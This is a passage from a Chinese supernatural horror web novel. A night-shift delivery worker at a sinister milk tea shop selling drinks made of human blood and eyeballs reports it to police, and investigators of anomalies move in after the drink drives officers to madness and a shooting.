入眼是一座造型精美的四层别墅,能住在这种地方,点餐的人绝对非富即贵,不过这富人是怎么回事,舍不得开灯吗,这么大的别墅竟然没开一盏灯,所有窗户都黑漆漆的,打远处看根本不会发现这里还有房子,简直是就是恐怖片拍摄现场,太有氛围了。 不过如果这个时间别墅里灯火通明也挺恐怖的,凌晨一点,四周一片漆黑,只有一栋房子亮着灯,就像生怕你看不见、不过去一般,这也是恐怖片常用的桥段,很多密室杀人案也都是在这种前提下发生的。 郁樹晃了晃脑袋,大晚上的,自己在想什么。 他来到别墅门前,摁响门铃,不多时,高大厚重又精美华丽的两扇门被人从里面拉开,一位身材高挑的红发美女出现在眼前,在极其微弱的月光下,她的肤色呈现出一种死人独有的灰败惨白之感,嘴唇也是苍白的,两颊向内凹陷,眼下是浓重的黑眼圈,整张脸上唯一的色彩就是那猩红的瞳孔,这令她的气质更为阴暗恐怖了,仿佛月圆之夜即将变异的吸血鬼,空气中都似乎飘荡着丝丝缕缕的血腥之气。 郁樹睁大了眼睛,这时薪一百就是自己应该赚的,半夜送餐遇到这种情况,一般人早就嗷嗷跑远了,而他却能老神在在地站在原地,心跳的频率都没增加,果然那些恐怖片没有一部是白看的。 不过看来熬夜确实伤身,熬夜喝奶茶更是,熬夜喝充满科技与狠活的奶茶更是直接邀请阎王爷来敲门。 郁樹一时有些唏嘘,这位客人如果不熬夜、脸上身上长点肉,应该会更好看,甚至有点火爆全球的知名歌星惟尔的影子,真是可惜,唉,说到底都是别人的选择,他只是个送外卖的,管那么多做什么呢? 思及此,郁樹静静注视着对面那双血红色的眼睛,抬起手递上血红色的奶茶,礼貌地笑笑:“祝您用餐愉快。” 不知是不是自己的错觉,自从门被打开,那双猩红的眼睛就特别疯狂地盯着他手里的奶茶,宛如好几天不见荤腥的饿狼随时准备着大快朵颐,嘴唇更是不停被舌头舔舐着,一副对那杯奶茶垂涎许久的模样,估计要不是那副看起来轻飘飘的羸弱身体,她早就冲过来把奶茶抢走了。 一杯奶茶而已,不至于这么疯狂吧?郁樹抬眼困惑地看过去,这人这么瘦,穿的又这么时髦,个子还特别高,该不会是个模特吧?他站直了身体,根据自己上扬的视线默默估算了一下,好家伙,似乎与柯警官差不多高?那不是已经超过190了?! 身高190的美女…… 自己最近是闯进了什么“周围人都比你高”的怪谈了吗,明明他183的个子已经不算矮了,为什么遇见的人还一个赛一个地比他高,就连眼前的美女都高挑到让他汗颜,也就小柯能让他低头了,可那还是个孩子,而且保守估计以后也是个大高个儿。 唉算了,身高而已,没必要这么在乎,183也够用,不过这位美女是真的太虚弱了,怎么感觉进的气都没有呼出的气多呢? 想了又想,他还是没忍住,好心提醒对方:“美女,这奶茶不是什么好东西,以后还是得少喝。” 话落的一瞬间,他就感觉对面的眼神变了,疯狂盯着奶茶的猩红双眸忽然变得茫然,就连瞳孔的颜色都不再是那种极其血腥的红,变成了暗红色,静静凝视着自己。 郁樹不明所以,自己说错话了?这是个疯狂的达贡奶茶迷?不能听见达贡奶茶的一点坏话?实话也不行? 就在他纳闷的时候,对面又忽然移开目光,抢过奶茶外卖袋,声音高亢道:“谢——” 却又莫名在说下一字的时候瞬间变得痛苦,眉毛都皱在一起,“谢谢……” 听见那道低沉而沙哑的嗓音,郁樹沉默了,这竟然是个男人?!不禁仔细看向对面,直到这时,他才发觉对方脖子上的喉结,顿时一阵无语,长得也太雌雄莫辨了,行吧,谁说留长发的就一定是女人? 默了一瞬,他又恍然,不过戒断反应这么痛苦的吗?一句话都得用两种截然不同的情绪说出来?等等,如果他是男人,又和惟尔长得有几分像,唯一的区别就是瘦太多,气色太差,那么他……? 郁樹感觉自己的推断应该八九不离十,他虽然不追星,但是明星的消息总是会见缝插针地推送到每个人的手机上,所以他也对这位火爆全球的大明星惟尔略知一二,惟尔已经有很长一段时间都没有在公众面前露面了,官方给出的声明是他在充实自己。 看着对方手上的奶茶,郁樹不禁深思,合着奶茶就是他的充实方式?那可真是朴实无华。果然偶像还是活在想象里才是最美好的。 他说了声再见,也不管对方是不是火爆全球的大明星惟尔,坐上配送车就离开了。 其实有点可惜,原本应该要个签名的,拿出去转卖至少能赚点差价,但是看惟尔那状态应该是签不了名。 唉,好好一个大明星,怎么就染上了奶茶瘾?还是达贡奶茶店的猎奇奶茶,那可是满满的科技与狠活啊。 不过为什么感觉惟尔的样子不像是喝奶茶上瘾,更像是吸了什么违法物品? 他想到沃德跟他说的“保准你喝过一口就再也忘不了,日日夜夜都想喝”,忽然从座椅里挺直了脊背,难道沃德不是夸张,而是描述事实? 所以达贡奶茶店才会24小时营业,因为随时都会有客人“奶茶”瘾犯了;所以达贡奶茶店才能付得起一百的时薪,因为那玩意儿利润高得超乎想象。 那员工墙上那些人又是什么? 郁樹托腮沉思,决定一会回到达贡奶茶店后好好观察观察……- 别墅里,惟尔双手捧着奶茶往自己嘴里送,头却使劲向后仰,仿佛身体里有两个人,一个想要贪婪地将手里的奶茶一饮而尽,另一个拼了命地拒绝,那两人控制他身体的不同部分,令他做出截然不同的行为。 僵持中,贪婪的那部分赢了,嘴唇接触到吸管的一瞬间,肌肉记忆直接驱使着他做出吸吮的动作,“咕咚”、“咕咚”几下,一杯奶茶就见底了,只留下小半杯猩红色的液体浸泡着眼球一样的珍珠。 惟尔知道接下来的动作就是吃这些珍珠,这可是达贡奶茶店的招牌,口感极其爽脆,咬起来格外Q弹,里面的汁水更是多到爆炸。 为了保护嗓子,惟尔从来不喝饮料,对于这种充斥着糖分的冰饮他更是碰都不碰,但自从阴差阳错之下喝过一口达贡奶茶,他就爱上了这个味道,爱上了这种珍珠的口感,简直好喝好吃到爆炸。 他舔了下嘴唇,双眼呆滞又疯狂地盯着奶茶杯里的珍珠,那些眼珠就好像活了一样在杯子里转啊转,用极其逼真的瞳孔对着他,里面似乎真的有瞳光。 口腔里分泌出源源不断的唾液,惟尔再一次捧着奶茶往自己嘴边送,头颅却以极其可怕的角度向后仰着,几乎快要将脖子扭断。 本能再次战胜理智,他咬住了吸管,但就在他即将做出吮吸动作的时候,腹腔忽然传来巨大的恶心感,整个胃部都开始翻江倒海,难受得他一下子扔下奶茶冲向卫生间,刚一来到马桶边,他就“哇——”地一声吐出来,一股墨黑色的腥臭液体直接喷射而出,把洁白的马桶壁都染黑了,紧随其后的就是止都止不住的呕吐。 说来也怪,惟尔这段时间都没怎么吃过饭,全靠达贡奶茶续命,按理说应该吐不出什么东西,可离奇的是,他竟然连续吐了三天三夜,吐得还都是那些又腥又臭的黑水,整个卫生间都弥漫着那股腥臭难闻的气息。 更奇怪的是,正常人照这个吐法早就没命了,惟尔却越吐越精神,越吐越理智,到最后连面色都恢复了一丝血色,不再是那种灰败的惨白,而且他的身体在经历过这样惨烈的呕吐后,竟然没有变得更加虚弱,反而比呕吐之前健康了许多。 惟尔差异非常,他之前无数次地尝试过自救,却无一例外全都失败了,到后来,他对达贡奶茶的渴望甚至超过了求生的本能,哪怕他潜意识里清楚再这样下去自己一定会死,那股狂热的渴望依然让他没日没夜地喝达贡奶茶。 可现在,看着桌上剩余的奶茶,他竟然一点想喝的欲望都没有。 这是怎么回事? 第22章 ^o^ 回到奶茶店,取餐区又放着一杯颜色猩红的奶茶,沉底的珍珠们宛如真实的眼睛一样,在一团血色中看着郁樹。 忽然觉得员工墙上那些人很有可能是上班第一天就被吓跑了,深更半夜送外卖也就罢了,回来还得面对这样一群眼珠子,一般人哪能受得了这个刺激? 郁樹忽然就对沃德肃然起敬起来,能成为达贡奶茶店的老员工,沃德一定有什么独特之处。 他走过去,刚要说话,对方就朝着他笑笑,整齐洁白的八颗牙齿间沾染着猩红色的东西,配上奶茶店独有的冷白色光线,完全就是另一个恐怖片现场。 郁樹要出口的话顿时转了个弯,变成了:“哥,你漱漱口吧,牙缝里塞了这么多东西不难受吗?” “有吗?我没感觉啊,”沃德舔了下嘴唇,继续呲着牙笑,“你猜猜我吃了什么?” 还能是什么,那红的黄的绿的,不是冷柜里的原材料能是什么?这沃德也是真奇葩,那么明显的科技与狠活都能吃得下,佩服。 郁樹环视店里一圈,没发现监控摄像头,但保守起见还是凑近对方小声道:“你放心,你偷吃原材料的事我是不会告诉老板的。” 沃德:“……” 他莫名陷入沉默很久,然后板起脸,将做好的奶茶推过去:“A型166辣妹,地址还在那个手机上。” 这话让郁樹瞬间想起正事,忙问:“咱们店里没有配送机器人吗?” 沃德又莫名其妙地露出八颗牙齿,不知为何,一张一合之间,他缝里竟然没什么红色的东西了,但依然感觉很脏,他却毫无察觉一般拼命地展示自己的标准笑容:“配送机器人哪有人类香?一堆破铜烂铁哪有这个荣幸?” 郁樹有些无语,这话说的,好像恐怖电影里的食人魔,他接了一杯水放到他跟前,再次劝道:“哥,你漱漱口吧,真的……” 太有碍观瞻了,后面的话他没说出口,而是道:“我还是继续送外卖去吧。” 说完就转身离开,一副再也不想在里面待着的样子。 说实话他是不想去的,但对比待在店里持续面对沃德牙缝里的污垢,还是送外卖更清新怡人,毕竟夜里安静得连虫鸣声都没有。 到达第二个配送地点,郁樹看见一个现实版人体骷髅,脸颊十分夸张地凹陷进去,眼窝也是深陷成两个巨大的窟窿,显得眼球异常突出,上眼睑的皮肤彻底失去弹性,松松垮垮地耷拉着,似乎变成了物理意义上的眼睛的帘子。 在那人走动的时候,郁樹听见了骨头相互摩擦碰撞的声音,“咯咯咔咔”,直听得人头皮发麻。 郁樹眉心蹙起,都病成这样了还喝奶茶,这是有多大瘾?而且这家人条件应该也不错,怎么还让病人自己过来拿外卖?就算是深更半夜,难道就没人看着点病人吗? 他原本递上奶茶的手又收了回来,对着那双被眼帘挡住一半的眼睛道:“好好吃饭,好好睡觉,好好养病,这奶茶就戒了吧,不是什么好东西。” 说完他自己又有点后悔,怎么就忍不住自己这张嘴呢?要是被投诉,这份时薪一百的工作又没了。但话又说回来,达贡奶茶店八成不正规,说不定都不用等着被投诉,一个举报电话直接就闭门大吉了,这工作早黄晚黄,都得黄,管那么多干什么。 不过,自己最近的工作运着实有点不佳啊,看孩子,孩子半夜一个招呼不打就去首府了;摇奶茶,奶茶里全是科技与狠活不说,还极有可能掺了些违法违禁物品。 看来又得找工作了,不过没关系,人生嘛,哪能一帆风顺,水来土掩罢了。 郁樹转瞬间就恢复了朝气,朝对面笑笑,拿出手机:“奶茶送我吧,我把钱给你,你亮一下收款码。” 说完,他静静注视着对面,都病成这样还要喝奶茶,上瘾程度可见一斑,大概率会拿自己当神经病不肯扫码,说不定还得有气无力地骂他一两句,不过无所谓,自己问心无愧就行,郁樹内心做好了被拒绝、被投诉、被骂的准备。 然而出乎他意料的是,在他话落的瞬间,对面那双因眼窝凹陷而极度突出的眼睛,不再贪婪又疯狂地盯着他手里的奶茶,而是抬起眼,看了看他,而后木讷地拿出手机,亮出自己的收款码。 郁樹:“……” 有点意外,竟然这么好说话? 不过又有点肉疼,一杯奶茶888,都快赶上他一个月的生活费了。 但话都说出来了,自己又不能食言,郁樹咬了咬牙,拿出手机扫码,支付了888,就当是破财消灾吧,说不定自己做的好事越多,弟弟就能过得越好,两人也能越早相见。 支付成功之后,郁樹与那位骨感美人道别,拎着奶茶坐进配送车。 返回的路上,看着那杯猩红色、点缀着眼珠的奶茶,郁樹觉得这钱不能白花,买都买了,必须得发挥把那888的价值发挥到最大。 他略作沉思,回想起对原材料成分秘而不宣的沃德,再联想到员工墙上小二百号的离职员工,还有那些病恹恹却依然对达贡奶茶如痴如狂的客人,说不定,这杯奶茶就是达贡奶茶店违法犯罪的证据。 想通这个关节,他连思想斗争都没做,直接拨通了报警电话……- 阿卡姆市异管局内,柯璆、德里克,以及办公室里那个虚拟影像正在进行紧急视频会议。 白发斑驳的德里克坐在办公椅上,拘谨地像个孩子一般静静听着那两人的对话,脑海里总是控制不住地回想他第一次看见成年版柯璆的场面。 那次也是在开会,不过参会的都是阿卡姆各政府机构的领导,大家一同商议【陈胜荣】事件的后续收尾方案,结果却变成了互相推诿指责的菜市场,整间会议室都吵吵嚷嚷的,甚至一度剑拔弩张到要动手。 就在这水深火热的时候,一位墨绿色头发的年轻人走了进来,所有人当场就安静了,但紧接着就将矛头对准了那位年轻人,仰着脖子诘问对方为什么会出现在这里。 德里克现在都觉得惭愧,当时他也是诘问中的一员,甚至因为开会的地点在异管局,他的东道主使命感让他的态度更是恶劣,几乎已经在明确指责那位年轻人自不量力,还做出了驱赶的举动。 却不想,那人竟然对所有人的诘问无动于衷,反而是那位曾经被他认错的调查官说出了那位年轻人的名字。 柯璆,听见这两个字,德里克起先是诧异,紧接着愤怒直击云霄,自己又不是没见过柯璆,那调查官是在做什么?墨绿色头发又是在做什么?他们拿异管局当什么? 他立刻做出反驳,结果一份绝密档案传入电脑,解锁程度20%,德里克马上点击查看,然后整个人都精神恍惚了—— 柯璆竟然有两个形态?! 孩童,和成年人,这两个形态还分别拥有不同的能力,但具体是什么能力,德里克权限有限,只能看到这20%的档案内容。 但这20%已经足够令人震惊了,身为阿卡姆异管局局长,德里克自然是见识过非自然现象的,他知道异端是超出人类认知范畴的存在,一切的科学都无法解释它们的出现,就连拥有能力的调查员也都是超越常识的存在。 如果说异端和能力者是比人类更高一维度的存在,那么拥有两种形态的柯璆就是比异端和能力者更高一个维度的存在。 从这个角度来想,一切都合理了,怪不得异端在他手里像个乖巧的鹌鹑,怪不得他能知道许多从不对外人道的秘密。 至于他的两个能力,德里克虽然无权查看,但也有所猜测,其中一个也许和读心术有关,另一个就没什么头绪了,也许只有亲眼见过才能知道。 那次的会议以柯璆给政府各机构安排任务而告终,德里克不得不承认,对方安排的极其到位,四两拨千斤地解决了他们的燃眉之急,还让政府的公信力更上一层楼,网络上甚至都没出现阴谋论的猜测,简直可以称之为奇观。 德里克还沉浸在回忆里,办公室里的虚拟影像忽然叫他:“德里克,你怎么看?” “啊,自然是听候您的差遣,尊敬的首相先生。”德里克站起来,对着虚拟影像鞠了个躬。 “什么我的差遣?别跟我来这些虚的,”对方竖起眉毛,双手背在身后,“我是问你,对那个名叫郁樹的大学生,你怎么看?” “郁樹?”德里克一时有些恍惚,仿佛陷入了久远的回忆。 彼时的德里克还是阿卡姆警局的小警员,某次值班,一个小男孩哭着跑过来,求他帮忙找弟弟,小孩模样特别可爱,哭哭啼啼的样子更是揪心,德里克当时就同情心泛滥,什么手续都没办就帮着找了起来,可结果,随着线索不断增多,他的心情却愈发沉痛—— 那孩子根本没弟弟,不仅没弟弟,他还无父无母,可在他口中,他的父母十分恩爱,他的弟弟特别活泼,一家四口生活得很是和美。 一个孩子怎么可能会说谎?可查到的证据更是不可作伪,那这孩子失踪的亲人是怎么回事? 德里克想到一个可能,心理问题,也许是太过孤独,太过渴望亲情,以至于小小的郁樹在脑海里幻想出了幸福的一家四口,并在长时间的想象中,对此信以为真。 德里克不忍摧毁一个可怜孩子的内心,他已经无父无母了,难道还不能拥有点幻想吗?最起码给他一个在世上活下去的信念吧。 于是,德里克开始配合那个孩子的想象,每当郁樹找来,他就绘声绘色地讲述他找人的经过,他仿佛变成了一个讲故事的人,这样的生活一直持续到他觉醒了能力,被选为调查员的那一天。 不过那个时候,郁樹已经不怎么来找他了,也许是因为长大心智变得成熟,也许是因为看透了本质,接受了现实,无论是哪种,对那个孩子来说都是好消息,对德里克更是,他可以心无旁骛地投身于收容异端的光荣使命中。 本来这段经历都快被他遗忘了,却不想在最近的异端事件中,他再次听见那个熟悉的名字,一开始德里克还以为是同名同姓,直到他看见照片里那双淡紫色的瞳孔,以及那张等比例长大但更加精致的脸,德里克这才确认,那就是郁樹,那个曾经哭着求他找弟弟的男孩。 真是可怜啊,孤苦伶仃的,好不容易长大还接连卷入异端事件,幸好没被污染。 回忆结束,他挫着手,开口道,“我觉得不怎么样,那孩子就是个普通人,还是不要把他卷进来的好。” 柯璆的目光投向他,墨绿色的瞳孔看不出任何情绪,嗓音却冷冰冰的:“普通人?带你找到【飞天蟑螂】的黑猫是他喂食的,【陈教授】的本体也在攻击他的时候被一团黑影扑倒,所有调查员在总结的时候都说自己听见了猫的声音,这次的棉被事件更是,那异端看见他的照片都发抖,你说他是普通人?” 德里克低下头,继续搓着手:“也有可能是巧合啊,万一是我们探测不到的存在呢?万一我们把他拉进来,那孩子直接精神失常了怎么办?谁负责?他还这么年轻,后半辈子怎么办?” 正说着,柯璆忽然接到一通电话,他没有离开房间,直接当着德里克和全息投影的首相接通了电话,共放里传来贺峥略显慌乱的声音: “柯队,警局克鲁分局好几位警员忽然出现精神污染的症状,经调查发现,污染源来自一杯奶茶,而这杯奶茶是……” 感觉到对面的迟疑,柯璆陈声道:“直接说,是什么?” 一道轻微的叹息过后,共放里,贺峥一句三停顿道:“奶茶是……郁樹送来的……物证……” 第23章 反常 连续几天,克鲁分局都不断有警员出现反常行为。 先是接警的警员半夜值班时潜入物证科,想要偷取那杯颜色猩红的奶茶;然后是物证科的警员趁着检验之际,偷偷品尝那杯奶茶;紧接着不知为何,好几个警员竟然因为那一杯奶茶大打出手,有的甚至还动了枪。 这么大的动静自然是惊动了上层,克鲁分局的领导了解情况后,立刻联想到超自然现象,便立刻与异管局取得了联系。 异端这种事普通警员自然不知道,但为了能够及时发现异常情况,领导层还是知道的,有些异端频发地区的领导人甚至还是觉醒了能力的人。 但不幸的是,克鲁分局的领导只是普通人,而且哪怕他只是过去找那些警员了解情况,他也在短时间内失去了理智,疯狂要想独享那杯奶茶,从员工手里抢来的枪成为他的不二利器,“砰砰!”几声,好几名警员身上被爆出血洞,鲜血一汩一汩地往外冒,警服瞬间洇出一圈湿痕,即使是深色警服,也不难想象那圈湿痕该是怎样的触目惊心。 在场警员惊呼的惊呼,痛哭的痛哭,躲避的躲避,这都是遇见枪击时的正常反应,但在这些正常反应之下,还有不少没中弹的人依旧疯狂地盯着领导手里的那杯奶茶,那眼底的贪婪和疯狂舔舐嘴唇的模样,大有一种“奶茶枪下死,做鬼也风流”的偏执感。 听见枪声,再得知开枪的就是领导,其他不明真相的警员直接惊慌地四处躲藏,有人为了逃命,更是直接往外跑,一时之间,整个克鲁分局上下里外都乱成一锅粥。 贺铮带人赶到的时候,刚好迎上那群疯狂向外跑的人,他立即让调查员控制住那群人,继续往里走,污染值监测仪显示的数值开始逐渐加大,他放下监测仪,单手摸向后腰上别着的异端武器,摆出随时攻击的姿势。 来到污染值最高的地方后,贺铮看见一群警员跪伏在地,低头舔着什么,人群中央,身着长官制服的人手里捧着一杯被捏得稀烂的塑料奶茶杯,里面残留着一些猩红的液体,一颗颗人类眼珠在里面漂浮荡漾,在顶灯的映照下,本该灰败无神的瞳孔却仿佛反着光……- 又是一次午夜,郁樹来到达贡奶茶店上班,可人虽然在这里,心思却早已不知飘向何处。 从他报警并把奶茶送到警局之后已经过了好几天,但警方却始终一点动静都没有,达贡奶茶店依然平安无事,无论白天还是晚上,订单依然层出不穷,甚至相比于他第一天上班,现在晚上的订单更多了,有时候他一趟就得送好几杯奶茶。 午夜啊,午夜这么多人点奶茶的吗?而且那些人真是的个顶个的虚弱,每次门被打开,映入郁樹眼帘的就是一幕幕仿佛恐怖片特效化妆的成果展示,真的是各有各的惨不忍睹。 都这样了,还要没日没夜地喝奶茶,郁樹对那群人也见怪不怪了,他能力有限,精力有限,资金更有限,一两个人尚且能咬咬牙,这么多要奶茶不要命的人,把他自己卖了都救不过来啊。 可是警方为什么还不出现呢?当时报警的时候,对面明明很重视,还让他把奶茶送到附近的警局,接待他的警员更是看见那杯奶茶就变得异常严肃起来,当时郁樹看见这些迹象很是放心,都做好了再就业的准备,可没想到,好几天过去了,他还是在达贡奶茶店打工,还是要在漆黑的夜色里敲开一扇扇门,送上一杯杯名字怪异、颜色腥红、布满“眼珠”的奶茶。 这让郁樹不禁开始怀疑自己,难道是他想多了?难道这些奶茶只是品相猎奇了一些,实际只是普通的奶茶,问题出在半夜点奶茶的那些人身上? 但这样想还是会延伸出另外两个问题: 第一,根本没有警员来达贡奶茶店调查,连工商管理局和食品卫生局的人都没出现过,不检查怎么能知道是不是有问题呢? 第二,为什么每一个点奶茶的人都是一副病恹恹的样子,他们到底生的什么病,又为什么哪怕病入膏肓成那样,依然对那些猎奇奶茶情有独钟? 郁樹也曾想过也许人家是在他没上班的时候过来的,为此还特意在不同班次的时候问过不同的店员,可得到的答案全都是否定的。他不信邪,特意打电话想要和警员确认一下,却不想无论他打多少遍,电话始终无人接通。 为了心里有底,郁樹特意白天抽空过去看了一眼,却赫然发现整个警局仿佛陷入瘫痪一样,明明是工作时间,却大门紧闭,一片萧条,没有一点人存在的气息。 这样子能有人接到他的电话那才真是见了鬼了。 从警局回来,郁樹整个人都有些恍惚,前一阵自己还在感叹阿卡姆政府的工作效率,怎么好好的警局就关门大吉了?那自己报的案怎么办?难道要去别的警局再报一次?可其他片区的警局会管吗? 郁樹麻木地擦着操作台,旁边的店员正在根据订单制作奶茶,郁樹这些天又和其他几位店员撘过班,但无一例外的是,这些店员脸上全都是沃德那种标准化、程序化的笑容,每次一笑绝对会露出八颗牙齿,牙缝里也都会残留一些食物残渣,红黄相间,一看就是又偷吃原材料了,真不知道他们怎么想的,难道想把自己改造成元素周期表?还是这是达贡奶茶的企业文化? 不过多上几天班也好,时薪一百,八个小时就是八百,因为是兼职,他的工钱还是日结,短短几天就已经到手几千,不知道赚回来多少杯奶茶。 但考虑到这独树一帜的企业文化,郁樹觉得他还是得尽快找到下一份兼职,他可不想变成元素周期表,再说达贡奶茶店有没有问题还未可知,按最坏的打算来看,他可不想变成违法犯罪集团的帮凶。 得想别的办法了,既然警局、工商局、食品卫生管理局都联系不上,那还能找谁呢? 思索间,一道颀长的身影从脑海里冒了出来,也许……联系柯警官试试?总感觉他的官职比较高,有他出面,应该能行吧? 想到就要做到,郁樹立刻拿出了手机……- 这段时间以来,阿卡姆异管局从来都没有这么忙碌过,之前虽然也经常处理异端事件,但一来那些异端等级都不高,处理起来不费劲;二来之前异端发生的频率也不高,他们完全有充裕的人手和时间。 但自才【飞天蟑螂】那件事后,阿卡姆发生异端事件的频率大大提高,遇见的异端等级更是水涨船高,危险程度五花八门,处理起来个顶个的棘手。 就比如这次的奶茶事件,虽然有柯璆带过来的调查官,但为了避免公职人员受到污染,危害普通人,他们直接把整个克鲁分局的工作人员都隔离了,所以人手还是有些捉襟见肘,以至于每位调查员都忙得脚不沾地。 好在这次的感染范围虽大,但危险等级不高,稍加处理,大部分警员们就能恢复理智,再进行一个简单的记忆修改术就可以离开异管局,那些中枪的警员则有些棘手,需要在清理污染的同时做清创手术。 这次异端事件里,最棘手的就是克鲁分局的局长了,他不仅摄入了最多的猩红色液体,还吃了好几颗眼珠状的东西,当时要不是贺铮阻止,恐怕杯子里的那些“眼球”都要被他吃下去,直到现在,他的嘴边还残留着红色的液体。 办公室里,贺铮汇报着初步的调查结果:“液体是人血,里面的眼珠也是人类的,但不是同一人的,根据检测结果,里面的15颗眼珠来自不同的15个人……” “一杯奶茶里就有15个人的眼球,”柯璆面色如冰,“比对过吗?那15人是失踪还是死亡?” 柯璆垂眸:“全是失踪,也许是因为他们来自全国各地,所以不明显,没被警方重视。” “奶茶是郁樹送过去的?”柯璆再次确认。 贺铮点了点头:“据说还是花大价钱从客人那里买的,也许他能察觉出奶茶里有异端?” 柯璆不置可否,转而问:“现在几点了?” “凌晨十二点多,”贺铮有些不明白他的意思,“您问时间是要?” 柯璆站起身,“去达贡奶茶店,这个时间郁樹刚好上班。” 第24章 去我家 前段时间,惟尔巡演结束落脚在阿卡姆,本来他是要回首府的,但塔罗结果告诉他,他会在阿卡姆遇见自己的灵感缪斯,作为一名创作型歌手,惟尔不会放弃任何获得灵感的方式,自然就留了下来。 不过寻找灵感缪斯的过程就不怎么顺利了,一旦占卜有关灵感缪斯的事,抽出的牌面总是各种似是而非,云里雾里,给出一些难以理解的答案,之前可从来都没有这样过。 惟尔心烦意乱,决定出去放风,半路上,他看见一家装修尤其独特的奶茶店,阴暗的色调,粗粝的外表面,点缀着各种恐怖装饰品的柜台,每一处都充满着浓烈的哥特式风味。 惟尔一头红发,玩的是重金属音乐,对这种诡异且独特的地方一向是来者不拒,他将车停在路边就走了进去。 一进入店里,浓烈的哥特风更是扑面而来。 店里的员工面色苍白如纸,眼窝凹陷,青灰一片,嘴唇更是毫无血色,但张开嘴说话的时候,牙缝里则全是类似血液和骨渣的残留痕迹。 店里的饮品更是符合他的口味,名字是血型、身高加类型,奶茶的颜色也是类似于血一样的红色,里面放的珍珠更让人叹为观止,竟然是人的眼珠! 惟尔知道那当然不可能是真的人类眼珠,但能做到这么逼真也是非常厉害了。 再往里看,墙面上贴着一副巨大的展板,上面写着员工名单,但实际看上去更像是菜单和成分表,因为每位员工照片底下都标记着几行小字,详细描述了员工的血型,身高和身份,再搭配上血腥的奶茶,真的给人一种在喝人的感觉。 惟尔当时就点了一杯O型183清澈男大,奶茶的味道说不出来的怪异,腥味极其浓烈,但又带着一丝回甘,眼球状的珍珠倒是口感不错,柔韧而有弹性。 不过惟尔只喝了一口就扔了,唯一喝下的那一口也没有咽进去,他是个歌手,保护嗓子是第一要务,奶茶这种东西尝尝味道就行,没必要让他侵染自己的嗓子。 当天因为那杯奶茶,他烦躁的情绪被抚平,缪斯嘛,总是可遇而不可求,哪怕可遇,概率也极低,所以不能着急,既然塔罗结果显示他会在这里遇见灵感缪斯,那不如安然地等着,指不定哪天缪斯就会主动敲开自己的家门。 这样想着,惟尔便开车回家了,调头的时候,不知道是不是他看走眼了,总觉得店里的店员在用一种奇怪的眼神看他,嘴唇裂开的弧度极其僵硬,露出的八颗牙齿布满猩红。 汽车行驶得飞快,惟尔还来不及转头辨认,奶茶店就已经变成一个黑点出现在后视镜里了。 惟尔也没把这个当回事,心情转好的他此刻想的全是新歌的编曲,有一个节拍已经卡了好几天,总是差了点意思,如果能早点遇见那个灵感缪斯就好了。 回到家,惟尔照例喝了一口自己特制的润喉水,可奇怪的事情发生了,那润喉水竟然变得十分难以下咽,以至于他直接吐了出来。 难道是变质了?惟尔倒出一小杯仔细观察,却在看见那杯液体的时候,厌恶情绪瞬间涌来,驱使他一把打翻了那杯润喉水。 然后,他咽了口唾液,脑海里有个声音传来:要是能来上一杯达贡奶茶就好了。 这个想法诞生的下一秒,手机上忽然多出一个点餐app,惟尔双目失焦,却无比熟练地点开app,随机下单了一份奶茶,而后就无比渴望地等待门铃响起的那一刻……- 达贡奶茶店里,看见门口忽然出现的墨绿色头发,郁樹敲手机的动作停了下来,真是说曹操曹操到,他刚要摁通话键,转脸对方就出现在眼前,该说不说,这种巧合真的很容易让想入非非啊,尤其对方还全长在自己的审美点上。 郁樹收起手机,轻蹭了一下鼻尖,笑容灿烂道:“你说巧不巧,我正想给你打电话你就来了。” “什么事?”柯璆环视一圈,还没进来的时候,污染值检测仪就开始猛烈跳动,数值比那杯奶茶高了一倍不止,这种污染强度,郁樹居然还好端端地站在柜台前,从说话的语气和神态来看,一点都没有被污染的迹象,这种正常的意识状态在此刻看来却格外不正常。 郁樹嘴唇张了张,忽然想起旁边还有个沃德,立刻换了个话题:“好久没见了,想跟你……约个宵夜。” “我晚上不吃东西。”柯璆往里走,对上一张眼窝深陷的脸,那人嘴角咧出一个非常诡异的角度,呲着八颗牙齿笑得森然又诡异。 不用污染值检测仪,柯璆就知道这绝对不是人,但明显这种货色不可能制造出那种程度的污染,背后一定还有其他异端,在一切尚未明朗之前,按兵不动是最好的计策。 另一边,郁樹险些被柯璆的回答噎住,他都已经疯狂眨眼暗示了,柯警官怎么就不接招呢?重要的是宵夜吗?是吃不吃东西吗?重要的是他有话要说啊! 他放下抹布,洗了个手,然后走出柜台来到柯璆身边,正要说话,对方忽然抬起手腕看了眼表:“你快下班了吧?我可以看着你吃。” 郁樹:“……” 唔,怎么突然又这么善解人意,都让人不好意思了。 “好,那我收拾收拾。”他脸颊泛红地离开。 柯璆继续观察那面硕大的员工墙,与其说是员工墙,更像是失踪人口图鉴,只一眼,他就看见好几个系统里的失踪人口,照这种情况来看,这上面的人恐怕不是失踪,而是…… 他想起异管局收容的那杯奶茶,里面全是粉末状的人体组织,如果不是异管局运用了特殊的检测手段,恐怕都分不清猩红液体里究竟有哪些人的哪些部位,当然,眼球除外,眼球是奶茶里唯一完整的人体组织,却呈现出一个庞大的受害人数。 从这个情况上看,达贡奶茶店已经存在一阵子了,所以才会有这么多受害者,墙上的那些人遭受了什么还不得而知,墙上没有展示出来的呢?仅仅一杯,克鲁分局就爆发了枪击案,不少警员陷入谵妄,那每天卖出去那么多奶茶又会污染多少人? 就在他等郁樹的时候,那个一直露出八颗牙齿诡笑的店员走过来问他:“帅哥不来杯奶茶吗?咱家奶茶采用的都是优质原料,保准你喝过之后就终生难忘,要是没有你喜欢的,我们还可以定制。” 听见“定制”这两个字,柯璆从员工墙上收回视线,垂首问:“怎么定制?” “很简单,”沃德嘴咧得更大了,“你喜欢什么口味的告诉我就行,或者提供一个照片也行,我们有专业的供应商,保证让你心满意足。” 果然背后有个庞大组织,柯璆佯做感兴趣的样子继续问:“墙上这些都能点?” “我就知道您一定是同道中人,”沃德激动地搓着手,“看上哪个了?我这就给您做。” 柯璆托腮浏览着“员工墙”上的照片,正思考如何将调查效果最大化,郁樹便从更衣室出来了,一个念头在柯璆脑海里升起,没有犹豫,他伸手指向郁樹:“他。” “……他?”沃德有些迟疑,片刻后恢复八颗牙齿的笑容:“也不是不行,就是这个比较难搞,得麻烦您等一阵子。” “没关系,我有的是耐心。” 听见那两人对话的郁樹满脸问号:“你们在说什么?” “没什么,闲聊而已。”沃德干笑两声,不知是不是因为经常咧开嘴笑的缘故,他的嘴唇都粘在牙齿上了,上牙床直接暴露在空气里,这让他的笑容看起来更诡异了。 